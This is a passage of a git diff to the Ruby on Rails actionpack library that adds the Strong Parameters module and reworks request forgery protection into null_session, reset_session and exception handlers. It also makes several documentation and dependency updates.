- When the application is ready to go public, set ActionController::Base.consider_all_requests_local to false,
- and implement the protected method local_request? in the controller to determine when debugging screens should be shown.
-
-* Fixed three bugs with the url_for/redirect_to/link_to handling. Considering the url http://localhost:81/friends/show/1
-
- url_for(:action => "list")
- ...used to give http://localhost:81/friends/list/1
- ......now gives http://localhost:81/friends/list
-
- url_for(:controller => "friends", :action => "destroy", :id => 5)
- ...used to give http://localhost:81/friends/destroy
- ......now gives http://localhost:81/friends/destroy/5
-
- Considering the url http://localhost:81/teachers/show/t
-
- url_for(:action => "list", :id => 5)
- ...used to give http://localhost:81/5eachers/list/t
- ......now gives http://localhost:81/teachers/list/5
-
- *Reported by David Morton & Radsaq*
-
-* Logs exception to logfile in addition to showing them for local requests
-
-* Protects the eruby load behind a begin/rescue block. eRuby is not required to run ActionController.
-
-* Fixed install.rb to also install clean_logger and the templates
-
-* Added ActiveRecordStore as a session option. Read more in lib/action_controller/session/active_record_store.rb *Tim Bates*
-
-* Change license to MIT License (and included license file in package)
-
-* Application error page now returns status code 500 instead of 200
-
-* Fixed using Procs as layout handlers *Florian Weber*
-
-* Fixed bug with using redirects ports other than 80
-
-* Added index method that calls list on scaffolding
-
-
-## 0.7.5 ##
-
-* First public release
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index dde51da497..fd09d3b55b 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -19,7 +19,7 @@ Gem::Specification.new do |s|
s.add_dependency('activesupport', version)
s.add_dependency('rack-cache', '~> 1.2')
- s.add_dependency('builder', '~> 3.0.0')
+ s.add_dependency('builder', '~> 3.1.0')
s.add_dependency('rack', '~> 1.4.1')
s.add_dependency('rack-test', '~> 0.6.1')
s.add_dependency('journey', '~> 2.0.0')
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
index d63d17f4c5..d3929b685c 100644
--- a/actionpack/lib/abstract_controller/helpers.rb
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -32,9 +32,9 @@ module AbstractController
# @current_user ||= User.find_by_id(session[:user])
# end
#
- # def logged_in?
- # current_user != nil
- # end
+ # def logged_in?
+ # current_user != nil
+ # end
# end
#
# In a view:
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index ceb90f8cee..1a13d7af29 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -2,6 +2,7 @@ require 'active_support/rails'
require 'abstract_controller'
require 'action_dispatch'
require 'action_controller/metal/live'
+require 'action_controller/metal/strong_parameters'
module ActionController
extend ActiveSupport::Autoload
@@ -34,6 +35,7 @@ module ActionController
autoload :Rescue
autoload :Responder
autoload :Streaming
+ autoload :StrongParameters
autoload :Testing
autoload :UrlFor
end
@@ -48,11 +50,21 @@ module ActionController
eager_autoload do
autoload :RecordIdentifier
end
+
+ def self.eager_load!
+ super
+ ActionController::Caching.eager_load!
+ HTML.eager_load!
+ end
end
# All of these simply register additional autoloads
require 'action_view'
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
+
+ActiveSupport.on_load(:action_view) do
+ ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+end
# Common Active Support usage in Action Controller
require 'active_support/core_ext/class/attribute_accessors'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index 71425cd542..6b8d9384d4 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -88,15 +88,6 @@ module ActionController
#
# Do not put secret information in cookie-based sessions!
#
- # Other options for session storage:
- #
- # * ActiveRecord::SessionStore - Sessions are stored in your database, which works better than PStore with multiple app servers and,
- # unlike CookieStore, hides your session contents from the user. To use ActiveRecord::SessionStore, set
- #
- # MyApplication::Application.config.session_store :active_record_store
- #
- # in your <tt>config/initializers/session_store.rb</tt> and run <tt>script/rails g session_migration</tt>.
- #
# == Responses
#
# Each action results in a response, which holds the headers and document to be sent to the user's browser. The actual response
@@ -171,7 +162,24 @@ module ActionController
class Base < Metal
abstract!
- # Shortcut helper that returns all the ActionController::Base modules except the ones passed in the argument:
+ # We document the request and response methods here because albeit they are
+ # implemented in ActionController::Metal, the type of the returned objects
+ # is unknown at that level.
+
+ ##
+ # :method: request
+ #
+ # Returns an ActionDispatch::Request instance that represents the
+ # current request.
+
+ ##
+ # :method: response
+ #
+ # Returns an ActionDispatch::Response that represents the current
+ # response.
+
+ # Shortcut helper that returns all the modules included in
+ # ActionController::Base except the ones passed as arguments:
#
# class MetalController
# ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left|
@@ -179,8 +187,9 @@ module ActionController
# end
# end
#
- # This gives better control over what you want to exclude and makes it easier
- # to create a bare controller class, instead of listing the modules required manually.
+ # This gives better control over what you want to exclude and makes it
+ # easier to create a bare controller class, instead of listing the modules
+ # required manually.
def self.without_modules(*modules)
modules = modules.map do |m|
m.is_a?(Symbol) ? ActionController.const_get(m) : m
@@ -205,6 +214,7 @@ module ActionController
Caching,
MimeResponds,
ImplicitRender,
+ StrongParameters,
Cookies,
Flash,
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index 9118806059..be29099fbe 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -48,11 +48,10 @@ module ActionController #:nodoc:
config.cache_store = ActiveSupport::Cache.lookup_store(store)
end
- private
-
- def cache_configured?
- perform_caching && cache_store
- end
+ private
+ def cache_configured?
+ perform_caching && cache_store
+ end
end
include RackDelegation
@@ -73,14 +72,14 @@ module ActionController #:nodoc:
request.get? && response.status == 200
end
- protected
- # Convenience accessor
- def cache(key, options = {}, &block)
- if cache_configured?
- cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block)
- else
- yield
+ protected
+ # Convenience accessor
+ def cache(key, options = {}, &block)
+ if cache_configured?
+ cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block)
+ else
+ yield
+ end
end
- end
end
end
diff --git a/actionpack/lib/action_controller/caching/actions.rb b/actionpack/lib/action_controller/caching/actions.rb
index 0238135bc1..eb3aa05a25 100644
--- a/actionpack/lib/action_controller/caching/actions.rb
+++ b/actionpack/lib/action_controller/caching/actions.rb
@@ -132,7 +132,7 @@ module ActionController #:nodoc:
options.values_at(:cache_path, :store_options, :layout)
end
- def filter(controller)
+ def around(controller)
cache_layout = @cache_layout.respond_to?(:call) ? @cache_layout.call(controller) : @cache_layout
path_options = if @cache_path.respond_to?(:call)
diff --git a/actionpack/lib/action_controller/caching/sweeping.rb b/actionpack/lib/action_controller/caching/sweeping.rb
index 73291ce083..271d5f06b8 100644
--- a/actionpack/lib/action_controller/caching/sweeping.rb
+++ b/actionpack/lib/action_controller/caching/sweeping.rb
@@ -1,6 +1,6 @@
module ActionController #:nodoc:
module Caching
- # Sweepers are the terminators of the caching world and responsible for expiring caches when model objects change.
+ # Sweepers are the terminators of the caching world and responsible for expiring caches when Active Record objects change.
# They do this by being half-observers, half-filters and implementing callbacks for both roles. A Sweeper example:
#
# class ListSweeper < ActionController::Caching::Sweeper
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index a7c0e971e7..f41d1bb4b9 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -19,7 +19,8 @@ module ActionController
status = payload[:status]
if status.nil? && payload[:exception].present?
- status = ActionDispatch::ExceptionWrapper.new({}, payload[:exception]).status_code
+ exception_class_name = payload[:exception].first
+ status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
end
message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in %.0fms" % event.duration
message << " (#{additions.join(" | ")})" unless additions.blank?
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index b38f990efa..f5ab1e2350 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -112,7 +112,7 @@ module ActionController
# ==== Returns
# * <tt>string</tt>
def self.controller_name
- @controller_name ||= self.name.demodulize.sub(/Controller$/, '').underscore
+ @controller_name ||= name.demodulize.sub(/Controller$/, '').underscore
end
# Delegates to the class' <tt>controller_name</tt>
@@ -203,36 +203,29 @@ module ActionController
class_attribute :middleware_stack
self.middleware_stack = ActionController::MiddlewareStack.new
- def self.inherited(base) #nodoc:
- base.middleware_stack = self.middleware_stack.dup
+ def self.inherited(base) # :nodoc:
+ base.middleware_stack = middleware_stack.dup
super
end
- # Adds given middleware class and its args to bottom of middleware_stack
+ # Pushes the given Rack middleware and its arguments to the bottom of the
+ # middleware stack.
def self.use(*args, &block)
middleware_stack.use(*args, &block)
end
- # Alias for middleware_stack
+ # Alias for +middleware_stack+.
def self.middleware
middleware_stack
end
- # Makes the controller a rack endpoint that points to the action in
- # the given env's action_dispatch.request.path_parameters key.
+ # Makes the controller a Rack endpoint that runs the action in the given
+ # +env+'s +action_dispatch.request.path_parameters+ key.
def self.call(env)
action(env['action_dispatch.request.path_parameters'][:action]).call(env)
end
- # Return a rack endpoint for the given action. Memoize the endpoint, so
- # multiple calls into MyController.action will return the same object
- # for the same action.
- #
- # ==== Parameters
- # * <tt>action</tt> - An action name
- #
- # ==== Returns
- # * <tt>proc</tt> - A rack application
+ # Returns a Rack endpoint for the given action name.
def self.action(name, klass = ActionDispatch::Request)
middleware_stack.build(name.to_s) do |env|
new.dispatch(name, klass.new(env))
diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb
index 2193dde667..12ef68ff26 100644
--- a/actionpack/lib/action_controller/metal/conditional_get.rb
+++ b/actionpack/lib/action_controller/metal/conditional_get.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/class/attribute'
+
module ActionController
module ConditionalGet
extend ActiveSupport::Concern
@@ -5,6 +7,33 @@ module ActionController
include RackDelegation
include Head
+ included do
+ class_attribute :etaggers
+ self.etaggers = []
+ end
+
+ module ClassMethods
+ # Allows you to consider additional controller-wide information when generating an etag.
+ # For example, if you serve pages tailored depending on who's logged in at the moment, you
+ # may want to add the current user id to be part of the etag to prevent authorized displaying
+ # of cached pages.
+ #
+ # === Example
+ #
+ # class InvoicesController < ApplicationController
+ # etag { current_user.try :id }
+ #
+ # def show
+ # # Etag will differ even for the same invoice when it's viewed by a different current_user
+ # @invoice = Invoice.find(params[:id])
+ # fresh_when(@invoice)
+ # end
+ # end
+ def etag(&etagger)
+ self.etaggers += [etagger]
+ end
+ end
+
# Sets the etag, last_modified, or both on the response and renders a
# <tt>304 Not Modified</tt> response if the request is already fresh.
#
@@ -42,12 +71,12 @@ module ActionController
options.assert_valid_keys(:etag, :last_modified, :public)
else
record = record_or_options
- options = { :etag => record, :last_modified => record.try(:updated_at) }.merge(additional_options)
+ options = { etag: record, last_modified: record.try(:updated_at) }.merge!(additional_options)
end
- response.etag = options[:etag] if options[:etag]
- response.last_modified = options[:last_modified] if options[:last_modified]
- response.cache_control[:public] = true if options[:public]
+ response.etag = combine_etags(options[:etag]) if options[:etag]
+ response.last_modified = options[:last_modified] if options[:last_modified]
+ response.cache_control[:public] = true if options[:public]
head :not_modified if request.fresh?(response)
end
@@ -133,5 +162,10 @@ module ActionController
def expires_now #:doc:
response.cache_control.replace(:no_cache => true)
end
+
+ private
+ def combine_etags(etag)
+ [ etag, *etaggers.map { |etagger| instance_exec(&etagger) }.compact ]
+ end
end
end
diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb
index 8fd8f4797c..3c9d0c86a7 100644
--- a/actionpack/lib/action_controller/metal/exceptions.rb
+++ b/actionpack/lib/action_controller/metal/exceptions.rb
@@ -16,6 +16,9 @@ module ActionController
end
end
+ class ActionController::UrlGenerationError < RoutingError #:nodoc:
+ end
+
class MethodNotAllowed < ActionControllerError #:nodoc:
def initialize(*allowed_methods)
super("Only #{allowed_methods.to_sentence(:locale => :en)} requests are allowed.")
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index 640ebf5f00..ca4ae532ca 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -11,6 +11,7 @@ module ActionController
extend ActiveSupport::Concern
include AbstractController::Logger
+ include ActionController::RackDelegation
attr_internal :view_runtime
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index 2736948ce0..88b9e78da7 100644
--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -15,7 +15,7 @@ module ActionController
# a non-empty array:
#
# class UsersController < ApplicationController
- # wrap_parameters :format => [:json, :xml]
+ # wrap_parameters format: [:json, :xml]
# end
#
# If you enable +ParamsWrapper+ for +:json+ format, instead of having to
@@ -38,13 +38,12 @@ module ActionController
# +:exclude+ options like this:
#
# class UsersController < ApplicationController
- # wrap_parameters :person, :include => [:username, :password]
+ # wrap_parameters :person, include: [:username, :password]
# end
#
# On ActiveRecord models with no +:include+ or +:exclude+ option set,
- # if attr_accessible is set on that model, it will only wrap the accessible
- # parameters, else it will only wrap the parameters returned by the class
- # method attribute_names.
+ # it will only wrap the parameters returned by the class method
+ # <tt>attribute_names</tt>.
#
# If you're going to pass the parameters to an +ActiveModel+ object (such as
# <tt>User.new(params[:user])</tt>), you might consider passing the model class to
@@ -165,10 +164,7 @@ module ActionController
unless options[:include] || options[:exclude]
model ||= _default_wrap_model
- role = options.fetch(:as, :default)
- if model.respond_to?(:accessible_attributes) && model.accessible_attributes(role).present?
- options[:include] = model.accessible_attributes(role).to_a
- elsif model.respond_to?(:attribute_names) && model.attribute_names.present?
+ if model.respond_to?(:attribute_names) && model.attribute_names.present?
options[:include] = model.attribute_names
end
end
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index d5f1cbc1a8..17d4a793ac 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -1,3 +1,4 @@
+require 'rack/session/abstract/id'
require 'action_controller/metal/exceptions'
module ActionController #:nodoc:
@@ -49,10 +50,6 @@ module ActionController #:nodoc:
config_accessor :request_forgery_protection_token
self.request_forgery_protection_token ||= :authenticity_token
- # Controls how unverified request will be handled
- config_accessor :request_forgery_protection_method
- self.request_forgery_protection_method ||= :reset_session
-
# Controls whether request forgery protection is turned on or not. Turned off by default only in test mode.
config_accessor :allow_forgery_protection
self.allow_forgery_protection = true if allow_forgery_protection.nil?
@@ -78,12 +75,80 @@ module ActionController #:nodoc:
# Valid Options:
#
# * <tt>:only/:except</tt> - Passed to the <tt>before_filter</tt> call. Set which actions are verified.
- # * <tt>:with</tt> - Set the method to handle unverified request. Valid values: <tt>:exception</tt> and <tt>:reset_session</tt> (default).
+ # * <tt>:with</tt> - Set the method to handle unverified request.
+ #
+ # Valid unverified request handling methods are:
+ # * <tt>:exception</tt> - Raises ActionController::InvalidAuthenticityToken exception.
+ # * <tt>:reset_session</tt> - Resets the session.
+ # * <tt>:null_session</tt> - Provides an empty session during request but doesn't reset it completely. Used as default if <tt>:with</tt> option is not specified.
def protect_from_forgery(options = {})
+ include protection_method_module(options[:with] || :null_session)
self.request_forgery_protection_token ||= :authenticity_token
- self.request_forgery_protection_method = options.delete(:with) if options.key?(:with)
prepend_before_filter :verify_authenticity_token, options
end
+
+ private
+
+ def protection_method_module(name)
+ ActionController::RequestForgeryProtection::ProtectionMethods.const_get(name.to_s.classify)
+ rescue NameError
+ raise ArgumentError, 'Invalid request forgery protection method, use :null_session, :exception, or :reset_session'
+ end
+ end
+
+ module ProtectionMethods
+ module NullSession
+ protected
+
+ # This is the method that defines the application behavior when a request is found to be unverified.
+ def handle_unverified_request
+ request.session = NullSessionHash.new
+ request.env['action_dispatch.request.flash_hash'] = nil
+ request.env['rack.session.options'] = { skip: true }
+ request.env['action_dispatch.cookies'] = NullCookieJar.build(request)
+ end
+
+ class NullSessionHash < Rack::Session::Abstract::SessionHash #:nodoc:
+ def initialize
+ super(nil, nil)
+ @loaded = true
+ end
+
+ def exists?
+ true
+ end
+ end
+
+ class NullCookieJar < ActionDispatch::Cookies::CookieJar #:nodoc:
+ def self.build(request)
+ secret = request.env[ActionDispatch::Cookies::TOKEN_KEY]
+ host = request.host
+ secure = request.ssl?
+
+ new(secret, host, secure)
+ end
+
+ def write(*)
+ # nothing
+ end
+ end
+ end
+
+ module ResetSession
+ protected
+
+ def handle_unverified_request
+ reset_session
+ end
+ end
+
+ module Exception
+ protected
+
+ def handle_unverified_request
+ raise ActionController::InvalidAuthenticityToken
+ end
+ end
end
protected
@@ -95,22 +160,6 @@ module ActionController #:nodoc:
end
end
- # This is the method that defines the application behavior when a request is found to be unverified.
- # By default, \Rails uses <tt>request_forgery_protection_method</tt> when it finds an unverified request:
- #
- # * <tt>:reset_session</tt> - Resets the session.
- # * <tt>:exception</tt>: - Raises ActionController::InvalidAuthenticityToken exception.
- def handle_unverified_request
- case request_forgery_protection_method
- when :exception
- raise ActionController::InvalidAuthenticityToken
- when :reset_session
- reset_session
- else
- raise ArgumentError, 'Invalid request forgery protection method, use :exception or :reset_session'
- end
- end
-
# Returns true or false if a request is verified. Checks:
#
# * is it a GET request? Gets should be safe and idempotent
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
index d9c89a74f1..42a0959a58 100644
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -102,7 +102,7 @@ module ActionController #:nodoc:
#
# def create
# @project = Project.find(params[:project_id])
- # @task = @project.comments.build(params[:task])
+ # @task = @project.tasks.build(params[:task])
# respond_with(@project, @task, :status => 201) do |format|
# if @task.save
# flash[:notice] = 'Task was successfully created.'
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
new file mode 100644
index 0000000000..51c65e5e70
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -0,0 +1,337 @@
+require 'active_support/concern'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/rescuable'
+
+module ActionController
+ # Raised when a required parameter is missing.
+ #
+ # params = ActionController::Parameters.new(a: {})
+ # params.fetch(:b)
+ # # => ActionController::ParameterMissing: param not found: b
+ # params.require(:a)
+ # # => ActionController::ParameterMissing: param not found: a
+ class ParameterMissing < KeyError
+ attr_reader :param # :nodoc:
+
+ def initialize(param) # :nodoc:
+ @param = param
+ super("param not found: #{param}")
+ end
+ end
+
+ # == Action Controller Parameters
+ #
+ # Allows to choose which attributes should be whitelisted for mass updating
+ # and thus prevent accidentally exposing that which shouldn’t be exposed.
+ # Provides two methods for this purpose: #require and #permit. The former is
+ # used to mark parameters as required. The latter is used to set the parameter
+ # as permitted and limit which attributes should be allowed for mass updating.
+ #
+ # params = ActionController::Parameters.new({
+ # person: {
+ # name: 'Francesco',
+ # age: 22,
+ # role: 'admin'
+ # }
+ # })
+ #
+ # permitted = params.require(:person).permit(:name, :age)
+ # permitted # => {"name"=>"Francesco", "age"=>22}
+ # permitted.class # => ActionController::Parameters
+ # permitted.permitted? # => true
+ #
+ # Person.first.update_attributes!(permitted)
+ # # => #<Person id: 1, name: "Francesco", age: 22, role: "user">
+ #
+ # It provides a +permit_all_parameters+ option that controls the top-level
+ # behaviour of new instances. If it's +true+, all the parameters will be
+ # permitted by default. The default value for +permit_all_parameters+
+ # option is +false+.
+ #
+ # params = ActionController::Parameters.new
+ # params.permitted? # => false
+ #
+ # ActionController::Parameters.permit_all_parameters = true
+ #
+ # params = ActionController::Parameters.new
+ # params.permitted? # => true
+ #
+ # <tt>ActionController::Parameters</tt> is inherited from
+ # <tt>ActiveSupport::HashWithIndifferentAccess</tt>, this means
+ # that you can fetch values using either <tt>:key</tt> or <tt>"key"</tt>.
+ #
+ # params = ActionController::Parameters.new(key: 'value')
+ # params[:key] # => "value"
+ # params["key"] # => "value"
+ class Parameters < ActiveSupport::HashWithIndifferentAccess
+ cattr_accessor :permit_all_parameters, instance_accessor: false
+ attr_accessor :permitted # :nodoc:
+
+ # Returns a new instance of <tt>ActionController::Parameters</tt>.
+ # Also, sets the +permitted+ attribute to the default value of
+ # <tt>ActionController::Parameters.permit_all_parameters</tt>.
+ #
+ # class Person
+ # include ActiveRecord::Base
+ # end
+ #
+ # params = ActionController::Parameters.new(name: 'Francesco')
+ # params.permitted? # => false
+ # Person.new(params) # => ActiveModel::ForbiddenAttributesError
+ #
+ # ActionController::Parameters.permit_all_parameters = true
+ #
+ # params = ActionController::Parameters.new(name: 'Francesco')
+ # params.permitted? # => true
+ # Person.new(params) # => #<Person id: nil, name: "Francesco">
+ def initialize(attributes = nil)
+ super(attributes)
+ @permitted = self.class.permit_all_parameters
+ end
+
+ # Returns +true+ if the parameter is permitted, +false+ otherwise.
+ #
+ # params = ActionController::Parameters.new
+ # params.permitted? # => false
+ # params.permit!
+ # params.permitted? # => true
+ def permitted?
+ @permitted
+ end
+
+ # Sets the +permitted+ attribute to +true+. This can be used to pass
+ # mass assignment. Returns +self+.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # params = ActionController::Parameters.new(name: 'Francesco')
+ # params.permitted? # => false
+ # Person.new(params) # => ActiveModel::ForbiddenAttributesError
+ # params.permit!
+ # params.permitted? # => true
+ # Person.new(params) # => #<Person id: nil, name: "Francesco">
+ def permit!
+ @permitted = true
+ self
+ end
+
+ # Ensures that a parameter is present. If it's present, returns
+ # the parameter at the given +key+, otherwise raises an
+ # <tt>ActionController::ParameterMissing</tt> error.
+ #
+ # ActionController::Parameters.new(person: { name: 'Francesco' }).require(:person)
+ # # => {"name"=>"Francesco"}
+ #
+ # ActionController::Parameters.new(person: nil).require(:person)
+ # # => ActionController::ParameterMissing: param not found: person
+ #
+ # ActionController::Parameters.new(person: {}).require(:person)
+ # # => ActionController::ParameterMissing: param not found: person
+ def require(key)
+ self[key].presence || raise(ParameterMissing.new(key))
+ end
+
+ # Alias of #require.
+ alias :required :require
+
+ # Returns a new <tt>ActionController::Parameters</tt> instance that
+ # includes only the given +filters+ and sets the +permitted+ for the
+ # object to +true+. This is useful for limiting which attributes
+ # should be allowed for mass updating.
+ #
+ # params = ActionController::Parameters.new(user: { name: 'Francesco', age: 22, role: 'admin' })
+ # permitted = params.require(:user).permit(:name, :age)
+ # permitted.permitted? # => true
+ # permitted.has_key?(:name) # => true
+ # permitted.has_key?(:age) # => true
+ # permitted.has_key?(:role) # => false
+ #
+ # You can also use +permit+ on nested parameters, like:
+ #
+ # params = ActionController::Parameters.new({
+ # person: {
+ # name: 'Francesco',
+ # age: 22,
+ # pets: [{
+ # name: 'Purplish',
+ # category: 'dogs'
+ # }]
+ # }
+ # })
+ #
+ # permitted = params.permit(person: [ :name, { pets: :name } ])
+ # permitted.permitted? # => true
+ # permitted[:person][:name] # => "Francesco"
+ # permitted[:person][:age] # => nil
+ # permitted[:person][:pets][0][:name] # => "Purplish"
+ # permitted[:person][:pets][0][:category] # => nil
+ def permit(*filters)
+ params = self.class.new
+
+ filters.each do |filter|
+ case filter
+ when Symbol, String then
+ params[filter] = self[filter] if has_key?(filter)
+ when Hash then
+ self.slice(*filter.keys).each do |key, values|
+ return unless values
+
+ key = key.to_sym
+
+ params[key] = each_element(values) do |value|
+ # filters are a Hash, so we expect value to be a Hash too
+ next if filter.is_a?(Hash) && !value.is_a?(Hash)
+
+ value = self.class.new(value) if !value.respond_to?(:permit)
+
+ value.permit(*Array.wrap(filter[key]))
+ end
+ end
+ end
+ end
+
+ params.permit!
+ end
+
+ # Returns a parameter for the given +key+. If not found,
+ # returns +nil+.
+ #
+ # params = ActionController::Parameters.new(person: { name: 'Francesco' })
+ # params[:person] # => {"name"=>"Francesco"}
+ # params[:none] # => nil
+ def [](key)
+ convert_hashes_to_parameters(key, super)
+ end
+
+ # Returns a parameter for the given +key+. If the +key+
+ # can't be found, there are several options: With no other arguments,
+ # it will raise an <tt>ActionController::ParameterMissing</tt> error;
+ # if more arguments are given, then that will be returned; if a block
+ # is given, then that will be run and its result returned.
+ #
+ # params = ActionController::Parameters.new(person: { name: 'Francesco' })
+ # params.fetch(:person) # => {"name"=>"Francesco"}
+ # params.fetch(:none) # => ActionController::ParameterMissing: param not found: none
+ # params.fetch(:none, 'Francesco') # => "Francesco"
+ # params.fetch(:none) { 'Francesco' } # => "Francesco"
+ def fetch(key, *args)
+ convert_hashes_to_parameters(key, super)
+ rescue KeyError
+ raise ActionController::ParameterMissing.new(key)
+ end
+
+ # Returns a new <tt>ActionController::Parameters</tt> instance that
+ # includes only the given +keys+. If the given +keys+
+ # don't exist, returns an empty hash.
+ #
+ # params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+ # params.slice(:a, :b) # => {"a"=>1, "b"=>2}
+ # params.slice(:d) # => {}
+ def slice(*keys)
+ self.class.new(super)
+ end
+
+ # Returns an exact copy of the <tt>ActionController::Parameters</tt>
+ # instance. +permitted+ state is kept on the duped object.
+ #
+ # params = ActionController::Parameters.new(a: 1)
+ # params.permit!
+ # params.permitted? # => true
+ # copy_params = params.dup # => {"a"=>1}
+ # copy_params.permitted? # => true
+ def dup
+ super.tap do |duplicate|
+ duplicate.instance_variable_set :@permitted, @permitted
+ end
+ end
+
+ private
+ def convert_hashes_to_parameters(key, value)
+ if value.is_a?(Parameters) || !value.is_a?(Hash)
+ value
+ else
+ # Convert to Parameters on first access
+ self[key] = self.class.new(value)
+ end
+ end
+
+ def each_element(object)
+ if object.is_a?(Array)
+ object.map { |el| yield el }.compact
+ elsif object.is_a?(Hash) && object.keys.all? { |k| k =~ /\A-?\d+\z/ }
+ hash = object.class.new
+ object.each { |k,v| hash[k] = yield v }
+ hash
+ else
+ yield object
+ end
+ end
+ end
+
+ # == Strong Parameters
+ #
+ # It provides an interface for protecting attributes from end-user
+ # assignment. This makes Action Controller parameters forbidden
+ # to be used in Active Model mass assignment until they have been
+ # whitelisted.
+ #
+ # In addition, parameters can be marked as required and flow through a
+ # predefined raise/rescue flow to end up as a 400 Bad Request with no
+ # effort.
+ #
+ # class PeopleController < ActionController::Base
+ # # Using "Person.create(params[:person])" would raise an
+ # # ActiveModel::ForbiddenAttributes exception because it'd
+ # # be using mass assignment without an explicit permit step.
+ # # This is the recommended form:
+ # def create
+ # Person.create(person_params)
+ # end
+ #
+ # # This will pass with flying colors as long as there's a person key in the
+ # # parameters, otherwise it'll raise a ActionController::MissingParameter
+ # # exception, which will get caught by ActionController::Base and turned
+ # # into that 400 Bad Request reply.
+ # def update
+ # redirect_to current_account.people.find(params[:id]).tap { |person|
+ # person.update_attributes!(person_params)
+ # }
+ # end
+ #
+ # private
+ # # Using a private method to encapsulate the permissible parameters is
+ # # just a good pattern since you'll be able to reuse the same permit
+ # # list between create and update. Also, you can specialize this method
+ # # with per-user checking of permissible attributes.
+ # def person_params
+ # params.require(:person).permit(:name, :age)
+ # end
+ # end
+ #
+ # See ActionController::Parameters.require and ActionController::Parameters.permit
+ # for more information.
+ module StrongParameters
+ extend ActiveSupport::Concern
+ include ActiveSupport::Rescuable
+
+ included do
+ rescue_from(ActionController::ParameterMissing) do |parameter_missing_exception|
+ render text: "Required parameter missing: #{parameter_missing_exception.param}", status: :bad_request
+ end
+ end
+
+ # Returns a new ActionController::Parameters object that
+ # has been instantiated with the <tt>request.parameters</tt>.
+ def params
+ @_params ||= Parameters.new(request.parameters)
+ end
+
+ # Assigns the given +value+ to the +params+ hash. If +value+
+ # is a Hash, this will create an ActionController::Parameters
+ # object that has been instantiated with the given +value+ hash.
+ def params=(value)
+ @_params = value.is_a?(Hash) ? Parameters.new(value) : value
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index 851a2c4aee..f2c68432c1 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -9,6 +9,8 @@ module ActionController
class Railtie < Rails::Railtie #:nodoc:
config.action_controller = ActiveSupport::OrderedOptions.new
+ config.eager_load_namespaces << ActionController
+
initializer "action_controller.assets_config", :group => :all do |app|
app.config.action_controller.assets_dir ||= app.config.paths["public"].first
end
@@ -17,6 +19,10 @@ module ActionController
ActionController::Helpers.helpers_path = app.helpers_paths
end
+ initializer "action_controller.parameters_config" do |app|
+ ActionController::Parameters.permit_all_parameters = app.config.action_controller.delete(:permit_all_parameters) { false }
+ end
+
initializer "action_controller.set_configs" do |app|
paths = app.config.paths
options = app.config.action_controller
diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb
index d3ac406618..bffd2a02d0 100644
--- a/actionpack/lib/action_controller/record_identifier.rb
+++ b/actionpack/lib/action_controller/record_identifier.rb
@@ -1,83 +1,20 @@
-require 'active_support/core_ext/module'
-require 'action_controller/model_naming'
+require 'active_support/deprecation'
+require 'action_view/record_identifier'
module ActionController
- # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or
- # pretty much any other model type that has an id. These patterns are then used to try elevate the view actions to
- # a higher logical level.
- #
- # # routes
- # resources :posts
- #
